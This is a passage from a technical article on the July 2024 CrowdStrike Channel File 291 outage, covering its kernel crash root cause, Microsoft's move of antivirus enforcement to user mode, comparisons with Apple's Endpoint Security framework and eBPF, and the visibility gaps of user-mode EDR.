&lt;p&gt;CrowdStrike&apos;s RCA names the failure mode in plain language [@cs-rca-2024-08-06]. The IPC Template Type was introduced in Falcon sensor version 7.11, released on February 28, 2024. The IPC Template Type declares 21 input parameter fields. The sensor&apos;s integration code that fed the in-kernel Content Interpreter for this Template Type supplied only 20 input values -- one fewer than the schema declared. The Content Validator that was responsible for verifying each shipped Template Instance against its Template Type schema did not catch the count mismatch. From February 28 to July 19, all Template Instances against this Template Type happened to use a wildcard matcher on the 21st field, and the unmapped field went unread; the bug was latent for almost five months. On July 19, 2024, the deployed Template Instance for the first time used a non-wildcard matcher on the 21st field. At runtime on every Windows host with the affected Falcon sensor configuration, &lt;code&gt;csagent.sys&lt;/code&gt;&apos;s Content Interpreter indexed into the 21st parameter slot and dereferenced past the end of the input array [@cs-rca-2024-08-06].&lt;/p&gt;
&lt;p&gt;The faulting instruction was the &lt;code&gt;mov r9d, dword ptr [r8]&lt;/code&gt; that Microsoft&apos;s July 27 post reproduces. The pointer in &lt;code&gt;r8&lt;/code&gt; was the unmapped kernel address &lt;code&gt;0xffff840500000074&lt;/code&gt;. The CPU page-faulted. The fault was delivered to &lt;code&gt;nt!KiPageFault+0x369&lt;/code&gt;. The kernel bug-checked with &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; [@ms-secblog-2024-07-27].&lt;/p&gt;

- `READ_ADDRESS: ffff840500000074 Paged pool`. The virtual address the faulting instruction tried to read. The `ffff8405...` prefix is the high half of the x86-64 canonical address space -- on Windows, conventionally kernel virtual memory. The &quot;Paged pool&quot; label is the memory manager&apos;s classification of where the address would have lived if it had been mapped. At this instant, it was not.
- `IMAGE_NAME: csagent.sys`. The kernel module containing the faulting instruction. This is the CrowdStrike driver.
- `FAULTING_IP: csagent+e14ed`. The offset of the instruction inside `csagent.sys`. `e14ed` is the relative virtual address of the function reading the parameter slot.
- `mov r9d, dword ptr [r8]`. The instruction itself: load a 32-bit value (`dword`) from the address in `r8` into the lower 32 bits of `r9`. This is one of the cheapest x86-64 memory loads possible; the bug is not in the instruction but in the value of `r8`.
- `CALLED_FROM: nt!KiPageFault+0x369`. The point of return into the kernel&apos;s fault handler. `KiPageFault` is the standard #PF interrupt handler in `ntoskrnl.exe`. When the page fault could not be satisfied (no mapping for the requested address), `KiPageFault` raised the bug check that stopped the system.
&lt;p&gt;About the IRQL -- the part of the post-mortem this article is most careful with. As §1 established, no public CrowdStrike RCA or Microsoft secblog post publishes the IRQL value at the moment of the fault [@ms-secblog-2024-07-27, @cs-rca-2024-08-06]. The article will not assert &lt;code&gt;DISPATCH_LEVEL&lt;/code&gt; or any other specific value, because no primary source establishes one. Treat any third-party reconstruction that names the IRQL as speculation unless it cites a primary source.&lt;/p&gt;

sequenceDiagram
    participant Cloud as Falcon Cloud
    participant Sensor as Falcon Sensor (user mode)
    participant CI as Content Interpreter (csagent.sys)
    participant TT as Template Type schema, in driver
    participant TI as Template Instance, from channel file
    participant Kernel as Windows Kernel
    Cloud-&amp;gt;&amp;gt;Sensor: Push Channel File 291 (Rapid Response Content)
    Sensor-&amp;gt;&amp;gt;CI: Hand Template Instance to in-kernel interpreter
    CI-&amp;gt;&amp;gt;TT: Read schema declaring 21 input parameter fields
    CI-&amp;gt;&amp;gt;TI: Bind Template Instance values to schema fields
    Note over CI,TI: Integration code supplied 20 values, schema expected 21
    Note over CI,TI: Content Validator did not catch the count mismatch
    CI-&amp;gt;&amp;gt;TI: Index into 21st field for non-wildcard match
    CI-&amp;gt;&amp;gt;Kernel: Read at unmapped kernel address 0xffff840500000074
    Kernel-&amp;gt;&amp;gt;Kernel: nt!KiPageFault, bug check 0x50 raised
    Note over Kernel: Operating system stops, host blue screens
&lt;h3&gt;Why a content update can crash a kernel driver&lt;/h3&gt;
&lt;p&gt;This paragraph is doing the load-bearing work of the entire article, and it deserves to be read slowly. The Falcon driver&apos;s &lt;em&gt;code&lt;/em&gt; received WHQL signing scrutiny when CrowdStrike submitted each release of &lt;code&gt;csagent.sys&lt;/code&gt; to Microsoft. The driver&apos;s &lt;em&gt;content updates&lt;/em&gt; -- the channel files like Channel File 291 -- did not. The driver was architected so that data updates could drive new detection behavior without a driver release. &lt;em&gt;Therefore the data file became the trust boundary.&lt;/em&gt; When the data file was malformed in a way the Content Validator missed, the entire WHQL signing scrutiny of the driver was effectively bypassed -- because the bug was triggered by a fully-signed driver consuming an unsigned data input that no one had validated against the driver&apos;s actual runtime expectations.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The architectural lesson of Channel File 291 is not &quot;kernel drivers are unsafe.&quot; It is that &lt;em&gt;in modern EDR architectures, the cadence of content updates vastly outruns the cadence of code review&lt;/em&gt;, and when the content is interpreted in kernel context, the content becomes a kernel input. The trust boundary moved from the signed driver to the unsigned data file, and the industry had not named that movement before July 19, 2024. Microsoft Virus Initiative 3.0, which we will meet in section 6, names it explicitly and requires partners to engineer for it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To make the abstract count-mismatch tangible for the reader who has never written a parser, here is the bug in a stripped JavaScript model. The JavaScript model does what every memory-safe runtime does -- it throws cleanly when you index past the end of an array -- but the comment in the unsafe branch describes the C / kernel reality: the read just returns whatever bytes happen to live at the out-of-bounds address, which on Windows kernel memory means an unmapped page and a &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; bug check.&lt;/p&gt;
&lt;p&gt;{`
// Model of the in-kernel Content Interpreter from CrowdStrike&apos;s RCA.
// Template Type schema declares 21 fields; integration code supplied 20.
// On July 19, 2024, the deployed Template Instance for the first time
// used a non-wildcard matcher on the 21st field.&lt;/p&gt;
&lt;p&gt;function runInterpreter(schema, instance, safeMode) {
  for (let i = 0; i &amp;lt; schema.fieldCount; i++) {
    if (i &amp;gt;= instance.values.length) {
      if (safeMode) {
        throw new Error(`out-of-bounds read at field index ${i}`);
      } else {
        // The C / kernel reality: the load returns whatever lives at the
        // address (instance.base + i * 4). On Windows kernel memory, that
        // address may be unmapped, producing PAGE_FAULT_IN_NONPAGED_AREA.
        console.log(`unsafe read at field index ${i} -&amp;gt; kernel page fault`);
        return;
      }
    }
    const v = instance.values[i];
    console.log(`field ${i} = ${v}`);
  }
}&lt;/p&gt;
&lt;p&gt;const schema = { fieldCount: 21 };
const instance = { values: Array.from({length: 20}, (_, i) =&amp;gt; &apos;v&apos; + i) };&lt;/p&gt;
&lt;p&gt;// Memory-safe runtime catches the mismatch:
try { runInterpreter(schema, instance, true); }
catch (e) { console.log(&apos;SAFE:&apos;, e.message); }&lt;/p&gt;
&lt;p&gt;// Unsafe model showing what the in-kernel C interpreter would do:
runInterpreter(schema, instance, false);
`}&lt;/p&gt;
&lt;p&gt;The runnable model is doing one job: making the abstract &quot;20 of 21&quot; fault mode visible. In a memory-safe runtime, the validator (the runtime itself) catches the mismatch and throws. In a C kernel driver with no runtime validator, the load just happens, and whatever is at the out-of-bounds address is read. On &lt;code&gt;csagent.sys&lt;/code&gt; on every affected Windows host on July 19, 2024, what was at the out-of-bounds address was an unmapped page, and the read fired &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;The persistence problem&lt;/h3&gt;
&lt;p&gt;CrowdStrike reverted the bad content cloud-side at 05:27 UTC, seventy-eight minutes after pushing it [@cs-pir-2024-07-24]. The revert achieved exactly the thing it was designed to achieve: no host that had not yet received the bad content would receive it. The revert achieved nothing for any host that had &lt;em&gt;already&lt;/em&gt; received the bad content. The channel file was on disk. On reboot, the Falcon sensor reloaded it. The in-kernel Content Interpreter parsed it again. The host bug-checked again. The fix required either manual safe-mode deletion of &lt;code&gt;C-00000291*.sys&lt;/code&gt; -- which became the canonical morning-of runbook circulated on every Windows admin forum -- or, later, Microsoft&apos;s purpose-built recovery tool [@mslearn-qmr, @insider-build-26120-4230]. The persistence-across-reboot pathology motivated the platform-level recovery primitive Microsoft would later ship as Quick Machine Recovery, which we will meet in section 6.&lt;/p&gt;
&lt;p&gt;The bug is mundane. The kernel context is what made it catastrophic. Twenty-five years of architectural decisions placed a vendor-authored interpreter inside the kernel, plugged it into a cloud-driven content delivery pipeline, and shipped that combination to 8.5 million machines. On the morning of July 19, 2024, those decisions composed.&lt;/p&gt;
&lt;p&gt;What the platform vendor -- Microsoft -- did about that composition is the subject of section 6.&lt;/p&gt;
&lt;h2&gt;6. The Microsoft Response: WESES, WRI, MVI 3.0&lt;/h2&gt;
&lt;p&gt;Twenty days after a Congressional witness from CrowdStrike apologized on the record [@cyberscoop-meyers, @govinfo-chrg-118hhrg60030, @meyers-testimony, @homeland-hearing-page], Microsoft did what twenty years of lobbying could not produce: it convened the named Microsoft Virus Initiative partners in Redmond and announced that &lt;em&gt;&quot;additional security capabilities outside of kernel mode&quot;&lt;/em&gt; was now a stated platform direction [@weston-2024-09-12]. From that meeting forward, the trajectory of third-party endpoint security on Windows pointed in only one direction.&lt;/p&gt;
&lt;h3&gt;September 10, 2024: the WESES summit&lt;/h3&gt;
&lt;p&gt;On September 10, 2024, Microsoft hosted the WESES summit -- the Windows Endpoint Security partner gathering, often abbreviated WESES in trade press -- at its Redmond campus. The attendees included CrowdStrike, Sophos, ESET, SentinelOne, Trend Micro, and Bitdefender, plus U.S. and European government officials [@weston-2024-09-12]. David Weston, Microsoft&apos;s vice president for enterprise and operating system security, recapped the summit in a Windows Experience Blog post on September 12, 2024 -- two days later -- and made two specific commitments on Microsoft&apos;s behalf. First, Microsoft committed publicly to &lt;em&gt;Safe Deployment Practices&lt;/em&gt; as a shared cross-vendor norm. Second, Microsoft committed to &lt;em&gt;&quot;additional security capabilities outside of kernel mode&quot;&lt;/em&gt; as a platform direction [@weston-2024-09-12]. No new branded platform yet, no GA date, no API surface. But the political commitment was, for the first time on the public record, an architectural one.&lt;/p&gt;

A Microsoft program documenting the requirements third-party antivirus and endpoint security vendors must meet to ship products that integrate with Windows -- including Security Center registration, ELAM (Early-Launch Anti-Malware) participation, and Defender exclusion negotiation [@mslearn-mvi]. MVI is the contractual surface Microsoft uses to require Windows AV vendors to engineer in particular ways; updates to MVI requirements have been the principal lever for the post-Channel-File-291 reforms.
&lt;h3&gt;November 19, 2024: Microsoft Ignite, and the Windows Resiliency Initiative&lt;/h3&gt;
&lt;p&gt;Two months later, at Microsoft Ignite on November 19, 2024, Weston announced the program by name: the &lt;em&gt;Windows Resiliency Initiative&lt;/em&gt;, four pillars (reliability including Quick Machine Recovery, fewer administrator-privileged apps, stronger app and driver allow-lists, and identity hardening), and a verbatim commitment that &lt;em&gt;&quot;a private preview will be made available for our security product [partner cohort] in July 2025&quot;&lt;/em&gt; [@ms-ignite-2024-11-19]. The &quot;private preview&quot; referred to a new set of &lt;em&gt;user-mode EDR APIs&lt;/em&gt; that Microsoft would deliver to a small named cohort of MVI partners. The Ignite post is also the first source to introduce &lt;em&gt;Quick Machine Recovery&lt;/em&gt; publicly -- the post-outage recovery primitive engineered specifically to address the on-disk-persistence pathology that Channel File 291 had exposed [@ms-ignite-2024-11-19].&lt;/p&gt;

Microsoft&apos;s descriptive phrase, used consistently in Weston&apos;s June 26, 2025 blog and the November 18, 2025 Windows Experience Blog post, for the new user-mode API surface that lets third-party EDR products subscribe to kernel-curated security telemetry without loading their own kernel driver [@weston-2025-06-26, @ms-nov-2025]. Microsoft has not, as of mid-2026, branded this as a single trademarked proper noun; trade-press shorthand like &quot;WESP&quot; should be treated as commentary, not as a Microsoft product name.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You will see &quot;WESP&quot; -- Windows Endpoint Security Platform, capitalized -- in trade-press coverage and conference talks. As of mid-2026 it is not a Microsoft brand. Microsoft&apos;s own primary-source language is the descriptive phrase &quot;the Windows endpoint security platform&quot; (lowercase, no acronym) [@weston-2025-06-26, @ms-nov-2025]. This article uses the Microsoft phrasing throughout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;June 26, 2025: the WRI detailed rollout and MVI 3.0&lt;/h3&gt;
&lt;p&gt;The most consequential single document in the entire WRI story is Weston&apos;s June 26, 2025 Windows Experience Blog post [@weston-2025-06-26]. The post commits, verbatim, that &lt;em&gt;&quot;Next month, we will deliver a private preview of the Windows endpoint security platform to a set of MVI partners... security products like anti-virus and endpoint protection solutions can run in user mode just as apps do&quot;&lt;/em&gt; [@weston-2025-06-26]. That second clause is the architectural commitment in one sentence: third-party EDR on Windows runs in user mode, like every other application on Windows.&lt;/p&gt;
&lt;p&gt;The same June 26 post names the MVI partner cohort by company -- Bitdefender, CrowdStrike, ESET, SentinelOne, Sophos, Trellix, Trend Micro, and WithSecure -- and embeds on-record statements from five of them (CrowdStrike, ESET, SentinelOne, Sophos, Trellix, and Trend Micro and WithSecure also published quotes) endorsing the migration [@weston-2025-06-26]. The post lays out the requirements of &lt;em&gt;MVI 3.0&lt;/em&gt;: Safe Deployment Practices, deployment rings, monitored rollouts, and incident-response testing [@mslearn-mvi]. The November 18, 2025 Windows Experience Blog later established the MVI 3.0 effective date as April 1, 2025 [@ms-nov-2025].&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MVI 3.0 requirement&lt;/th&gt;
&lt;th&gt;What it mechanically requires&lt;/th&gt;
&lt;th&gt;What it does not mechanically verify&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Safe Deployment Practices&lt;/td&gt;
&lt;td&gt;Vendor publishes a documented deployment process for sensor and content updates&lt;/td&gt;
&lt;td&gt;That the published process is correctly enforced in the vendor&apos;s release pipeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deployment rings&lt;/td&gt;
&lt;td&gt;Vendor segments customers into staged rollout cohorts (e.g., internal, canary, GA)&lt;/td&gt;
&lt;td&gt;That ring promotion gates actually halt a rollout when a stop-signal fires&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monitored rollouts&lt;/td&gt;
&lt;td&gt;Vendor monitors signal data during each ring transition&lt;/td&gt;
&lt;td&gt;That the monitoring catches a Channel-File-291-class latent bug&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Incident-response testing&lt;/td&gt;
&lt;td&gt;Vendor runs scheduled incident-response drills against its own rollout pipeline&lt;/td&gt;
&lt;td&gt;That drill outcomes generalize to a novel failure mode never tested&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The cohort of named MVI 3.0 partners is the same cohort Apple&apos;s Endpoint Security framework migration targeted in 2019. The overlap is not coincidence -- the same companies sell EDR on both platforms, and the same companies are now multi-OS migrating onto the same architecture (user-mode, platform-curated telemetry). The trade press has yet to fully appreciate that the WRI is not a Microsoft-specific architecture choice; it is the second platform vendor making the same choice.&lt;/p&gt;
&lt;h3&gt;The Ionescu pivot&lt;/h3&gt;
&lt;p&gt;The single most consequential individual move in the entire two-year story is dated April 3, 2025: CrowdStrike named Alex Ionescu -- co-author of the &lt;em&gt;Windows Internals&lt;/em&gt; book series, long-time Windows kernel researcher, and former CrowdStrike employee returning to the company -- as Chief Technology Innovation Officer with an explicit charter to &lt;em&gt;&quot;lead CrowdStrike&apos;s participation in the Microsoft Virus Initiative Program (MVI 3.0), working with Microsoft to advise on the implementation of the next-generation vendor security stack for Windows&quot;&lt;/em&gt; [@cs-ionescu-ctio-2025-04-03]. Ionescu then published an on-record endorsement of Microsoft&apos;s user-mode EDR architecture in Microsoft&apos;s own June 26, 2025 Windows Experience Blog post [@weston-2025-06-26].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The foremost public Windows kernel researcher in the industry, now CTIO of the company whose kernel driver brought down 8.5 million Windows hosts, is on the record endorsing Microsoft&apos;s eviction of vendor kernel-mode antivirus. That is the political signal July 19, 2024 produced, and it is structurally unlike anything that preceded the outage. In 2006, the vendors fought; in 2025, the foremost vendor kernel expert is helping Microsoft build the replacement.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;November 18, 2025: the update and the graphics-driver exemption&lt;/h3&gt;
&lt;p&gt;The most recent Microsoft primary-source document in this article is the November 18, 2025 Windows Experience Blog post [@ms-nov-2025]. Three points in that post matter for the rest of this article. First, &lt;em&gt;&quot;effective April 1, 2025, Version 3.0 of the Microsoft Virus Initiative added new requirements for all Windows antivirus (AV) partners&quot;&lt;/em&gt; -- this sets the formal effective date of MVI 3.0 [@ms-nov-2025]. Second, &lt;em&gt;&quot;in June, we released the first private preview of the Windows endpoint security platform, which shifts AV enforcement from the kernel to user mode&quot;&lt;/em&gt; -- the framing is &lt;em&gt;AV enforcement&lt;/em&gt; generally, not &lt;em&gt;third-party AV enforcement&lt;/em&gt; specifically, which by plain reading commits Defender for Endpoint to the same architectural trajectory as the third-party MVI 3.0 cohort [@ms-nov-2025]. Third, the graphics-driver exemption: &lt;em&gt;&quot;graphics drivers, for example, will continue to run in kernel mode for performance reasons&quot;&lt;/em&gt; [@ms-nov-2025]. That single concession draws the scope of the WRI cleanly: it is an &lt;em&gt;AV enforcement&lt;/em&gt; migration, not a &lt;em&gt;third-party kernel driver elimination&lt;/em&gt; program.&lt;/p&gt;
&lt;h3&gt;Quick Machine Recovery&lt;/h3&gt;
&lt;p&gt;One more piece of the response deserves explicit mention: &lt;em&gt;Quick Machine Recovery&lt;/em&gt; (QMR), the platform-level recovery primitive Microsoft built specifically in response to the on-disk persistence pathology of Channel File 291. QMR is a remote-remediation flow, managed via the Configuration Service Provider model and surfaced as the &lt;em&gt;RemoteRemediation&lt;/em&gt; CSP, that can boot a failing Windows host into a recovery environment and apply targeted fixes without manual safe-mode intervention by an administrator [@mslearn-qmr]. The capability first appeared in Windows Insider builds beginning with Build 26120.4230 on June 2, 2025 [@insider-build-26120-4230]. QMR does not, on its own, prevent another Channel-File-291-class event; it makes the recovery from one orders of magnitude cheaper.&lt;/p&gt;

flowchart LR
    A[&quot;2024-07-19 Channel File 291 outage, 8.5M hosts&quot;] --&amp;gt; B[&quot;2024-07-27 Microsoft secblog publishes WinDBG dump&quot;]
    B --&amp;gt; C[&quot;2024-09-10 WESES summit at Redmond&quot;]
    C --&amp;gt; D[&quot;2024-09-24 House Homeland Security hearing&quot;]
    D --&amp;gt; E[&quot;2024-11-19 Ignite, WRI announced by name&quot;]
    E --&amp;gt; F[&quot;2025-04-01 MVI 3.0 effective&quot;]
    F --&amp;gt; G[&quot;2025-04-03 Ionescu CTIO at CrowdStrike&quot;]
    G --&amp;gt; H[&quot;2025-06-26 WRI detailed rollout, partner cohort&quot;]
    H --&amp;gt; I[&quot;2025-07 private preview to MVI 3.0 partners&quot;]
    I --&amp;gt; J[&quot;2025-11-18 AV enforcement shifts to user mode&quot;]
&lt;p&gt;The U.S.-government context is worth one paragraph of framing. The Government Accountability Office&apos;s GAO-24-107733, the Congressional Research Service&apos;s IF12717 brief, the House Homeland Security Subcommittee hearing on September 24, 2024, the CISA running alert, and the contemporaneous CyberScoop coverage all converge on the same posture: the July 19 outage was a &lt;em&gt;supply-chain and Safe-Deployment-Practices&lt;/em&gt; event, not a cyberattack [@gao-24-107733, @crs-if12717-everycrsreport, @homeland-hearing-page, @govinfo-chrg-118hhrg60030, @meyers-testimony, @cisa-alert-2024-07-19, @cyberscoop-meyers]. The federal response shaped the political environment in which Microsoft chose to announce the WRI; it did not, by itself, design the architecture. The architecture Microsoft picked had been hiding in plain sight for years on two other operating systems, which is the subject of section 7.&lt;/p&gt;
&lt;h2&gt;7. Apple ESF, Linux eBPF, and the Comparative Architecture&lt;/h2&gt;
&lt;p&gt;Microsoft did not invent the architecture it is shipping. Two other major operating systems had already picked a different answer years earlier, in opposite directions, and Microsoft&apos;s own platform team had been quietly experimenting with both for years before committing to one in public. The comparative-architecture frame matters because it tells us what is genuinely novel about the WRI (very little) and what is genuinely novel about the political moment (almost everything).&lt;/p&gt;
&lt;h3&gt;Apple Endpoint Security framework, October 7, 2019&lt;/h3&gt;
&lt;p&gt;On October 7, 2019, with the release of macOS 10.15 Catalina, Apple deprecated third-party kernel extensions for security tools and replaced them with the &lt;em&gt;Endpoint Security framework&lt;/em&gt;, a user-space API for authorization (&lt;code&gt;ES_EVENT_TYPE_AUTH_*&lt;/code&gt;) and notification (&lt;code&gt;ES_EVENT_TYPE_NOTIFY_*&lt;/code&gt;) events fired by the macOS kernel and consumed by Apple-signed user-mode system extensions written by third-party vendors [@apple-esf-docs].&lt;/p&gt;

Apple&apos;s user-space-only API for security tools, introduced with macOS Catalina (10.15) in October 2019 [@apple-esf-docs]. ESF clients run as system extensions in user mode, subscribe to authorization and notification events emitted by the macOS kernel (process creation, file open, network connect, etc.), and may return `ES_AUTH_RESULT_DENY` to block authorization events synchronously. There is no third-party kernel code path; the kernel signals the user-space client, and the user-space client decides.
&lt;p&gt;What makes ESF the cleanest reference point for the WRI is that ESF &lt;em&gt;is&lt;/em&gt; the architecture Microsoft is now shipping under a different label. Both are platform-curated user-mode subscription APIs. Both eliminate third-party kernel drivers from the AV path. Both retain a synchronous authorization gate that lets the vendor&apos;s user-mode code answer &quot;allow or deny&quot; before the operating system completes the operation.&lt;/p&gt;
&lt;p&gt;The September 2024 Sequoia bug -- the natural experiment we met in section 4 -- is the cleanest available test of whether the ESF architecture &lt;em&gt;contains&lt;/em&gt; the blast radius of a 1st-party platform regression. CrowdStrike Falcon for macOS, ESET Endpoint Security, Microsoft Defender for Mac, and SentinelOne all lost network filtering when macOS 15 deprecated the Application Firewall property-list interface [@bleepingcomputer-sequoia, @securityweek-sequoia]. None of them brought down macOS. The hosts kept running. Apple shipped 15.0.1 three weeks later [@techcrunch-sequoia]. The Sequoia outage tested the architecture and the architecture held: feature regression, yes; kernel panic at fleet scale, no.&lt;/p&gt;
&lt;h3&gt;Linux eBPF, and eBPF for Windows&lt;/h3&gt;
&lt;p&gt;The Linux answer to the same question is in a different direction entirely. Linux does not move EDR out of kernel mode; it keeps EDR in kernel mode and proves the in-kernel code safe before executing it. The technology is &lt;em&gt;extended Berkeley Packet Filter&lt;/em&gt; (eBPF), a kernel-resident bytecode virtual machine that runs vendor-supplied probes attached to kernel hook points, with a static verifier that rejects any program whose memory accesses, control flow, or loop bounds cannot be proven safe at load time [@lwn-bounded-loops].&lt;/p&gt;

A Linux kernel subsystem that runs vendor-supplied bytecode programs in kernel context, gated by a static verifier that rejects programs whose memory accesses or control flow cannot be proven safe at load time. eBPF programs attach to hook points (syscall enter/exit, file system events, network packets, tracepoints) and emit data to user space via ring buffers and maps. The Linux EDR industry (Cilium, Tetragon, Falco) is built on eBPF [@lwn-bounded-loops].
&lt;p&gt;The eBPF verifier is non-trivial. Jonathan Corbet&apos;s June 2019 LWN article &lt;em&gt;&quot;BPF and bounded loops&quot;&lt;/em&gt; describes the Linux 5.3 extension that lifted the original verifier&apos;s strict no-loops restriction, permitting bounded loops with statically-determinable trip counts -- enough to write nontrivial in-kernel programs without sacrificing the verifier&apos;s termination guarantee [@lwn-bounded-loops]. Every major Linux EDR product in 2026 ships an eBPF probe set as its primary collection substrate.&lt;/p&gt;
&lt;p&gt;Microsoft has eBPF for Windows. Microsoft has had eBPF for Windows publicly on GitHub since May 2021, ported the PREVAIL verifier as its formal foundation, and continues to develop the project at the same repository [@msft-ebpf-windows, @ebpf-windows-commits].PREVAIL is the academic verifier whose formal soundness arguments are the foundation of eBPF for Windows. Its design takes the same general approach as the Linux verifier -- abstract interpretation over the bytecode&apos;s control flow graph -- and shipped as the open-source verifier Microsoft adopted for the Windows port. Microsoft has shipped eBPF for Windows for networking-centric use cases (XDP-style packet filtering); EDR has not been the primary published use case [@msft-ebpf-windows]. What Microsoft has &lt;em&gt;not&lt;/em&gt; done is make eBPF for Windows the substrate of the WRI&apos;s third-party EDR architecture. The WRI commits to the Apple-style &quot;exit the kernel&quot; answer, not the Linux-style &quot;stay in the kernel but verifier-bounded&quot; answer.&lt;/p&gt;
&lt;h3&gt;The three architectural answers&lt;/h3&gt;
&lt;p&gt;There are exactly three serious architectural answers to the question of where the third-party security observer runs.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Exit the kernel: subscribe from user mode against a platform-curated broker.&lt;/strong&gt; Apple ESF since 2019; Windows endpoint security platform since the July 2025 private preview.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stay in the kernel, but only as a verifier-bounded extension.&lt;/strong&gt; Linux eBPF; eBPF for Windows since 2021.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operate from below the kernel, in the hypervisor.&lt;/strong&gt; The Garfinkel and Rosenblum NDSS 2003 origin paper on virtual machine introspection [@wiki-vmi], the Xen Project&apos;s VMI APIs [@xen-vmi], Bitdefender&apos;s Hypervisor Introspection product shipped commercially in 2016 [@xen-vmi], and Microsoft&apos;s own in-platform Virtualization-Based Security (VBS), Hypervisor-protected Code Integrity (HVCI), and Secure Kernel features [@mslearn-hvci].&lt;/li&gt;
&lt;/ol&gt;

flowchart TD
    Q[&quot;Where does the third-party security observer run?&quot;]
    Q --&amp;gt; A1[&quot;1. User mode, subscribing via platform broker&quot;]
    Q --&amp;gt; A2[&quot;2. Kernel mode, verifier-bounded extension&quot;]
    Q --&amp;gt; A3[&quot;3. Hypervisor, below the guest kernel&quot;]
    A1 --&amp;gt; A1a[&quot;Apple ESF, since 2019&quot;]
    A1 --&amp;gt; A1b[&quot;Windows endpoint security platform, since 2025&quot;]
    A2 --&amp;gt; A2a[&quot;Linux eBPF&quot;]
    A2 --&amp;gt; A2b[&quot;eBPF for Windows, since 2021&quot;]
    A3 --&amp;gt; A3a[&quot;Bitdefender Hypervisor Introspection, 2016&quot;]
    A3 --&amp;gt; A3b[&quot;Microsoft VBS, HVCI, Secure Kernel&quot;]
&lt;h3&gt;Why Microsoft picked (1) over (2)&lt;/h3&gt;
&lt;p&gt;This is one of the article&apos;s most interesting decisions, and the public reasoning is mostly implicit. The eBPF answer (2) would have required every EDR vendor to rewrite on a substrate they had no muscle memory for. The Linux EDR industry took roughly five years to converge on eBPF as its dominant collection mechanism, and Windows EDR vendors have invested in a different abstraction (kernel callbacks plus minifilters) for twenty-five years. A migration to eBPF for Windows would have meant a multi-year vendor-side rewrite to a verifier whose published EDR-attach-point coverage in mid-2026 was incomplete [@msft-ebpf-windows].&lt;/p&gt;
&lt;p&gt;The Apple-style answer (1), by contrast, lets vendors keep most of their detection logic where it already runs -- in user-mode sensor processes -- and only replaces the Ring-0 collection substrate with a platform broker. The migration is incremental rather than ground-up. And answer (1) carries a second structural advantage: even a perfect eBPF verifier still leaves vendor bytecode running inside the kernel, where a content-validator failure can still produce a runtime fault under a verifier that proved safety at load time. Answer (1) makes the question unaskable by construction: there is no third-party kernel code path, so a third-party content-validator failure cannot crash the kernel.&lt;/p&gt;
&lt;p&gt;Microsoft made a comparative-architecture bet. The bet has a known cost: things a kernel-mode observer can see that a user-mode observer cannot. What exactly does the user-mode EDR lose? That is section 8.&lt;/p&gt;
&lt;h2&gt;8. What User-Mode EDR Cannot See&lt;/h2&gt;
&lt;p&gt;Every architectural choice closes some doors. The user-mode EDR architecture closes the door on Channel-File-291-class reliability incidents -- by construction, a vendor-authored data file consumed by a vendor-authored user-mode process can crash the vendor process, not the host. The same architecture, on its own, opens three coverage doors a kernel-callback EDR closed. This section enumerates them honestly.&lt;/p&gt;
&lt;h3&gt;Gap 1: direct syscall observation&lt;/h3&gt;
&lt;p&gt;A malicious user-mode process can issue x86-64 &lt;code&gt;syscall&lt;/code&gt; instructions directly, bypassing &lt;code&gt;ntdll.dll&lt;/code&gt;&apos;s exported stubs and therefore bypassing any user-mode hook layer that depends on patching those stubs [@mdsec-direct-syscall]. MDSec&apos;s December 2020 write-up &quot;Bypassing user-mode hooks and direct invocation of system calls for red teams&quot; documented the technique in operational detail: an attacker recovers the syscall numbers from a clean copy of &lt;code&gt;ntdll&lt;/code&gt;, emits the &lt;code&gt;syscall&lt;/code&gt; instruction inline in their own payload, and the operating system services the syscall without ever touching the hook layer the EDR vendor injected into &lt;code&gt;ntdll&lt;/code&gt; [@mdsec-direct-syscall]. A user-mode EDR sees only what the platform broker tells it. For the broker to maintain coverage of direct-syscall payloads, the broker itself must be wired into the syscall dispatch path -- the place inside &lt;code&gt;nt!KiSystemServiceCopyArgs&lt;/code&gt; where the kernel dispatches user-mode syscalls -- and emit telemetry for every syscall, not only those that arrive via the &lt;code&gt;ntdll&lt;/code&gt; stubs.&lt;/p&gt;
&lt;p&gt;Microsoft has stated this architecture is in scope but has not published the wire-format detail of the syscall broker as of mid-2026. The honest reading: Microsoft owns this gap, it knows it owns this gap, the EDR partners know Microsoft owns this gap, but the specific shape of the broker&apos;s syscall-path integration has not been publicly documented. Treat any third-party claim about the broker&apos;s syscall-path wire format as speculation.&lt;/p&gt;
&lt;h3&gt;Gap 2: rootkit visibility, and the hypervisor answer&lt;/h3&gt;
&lt;p&gt;A kernel-mode rootkit -- loaded via a Bring-Your-Own-Vulnerable-Driver attack against a signed-but-vulnerable third-party driver -- can hide processes, files, registry keys, and network state from any user-mode observer. The platform broker will emit whatever the &lt;em&gt;kernel&lt;/em&gt; sees about the system state; if the rootkit lies to the kernel via DKOM, the broker will faithfully emit the lie.&lt;/p&gt;

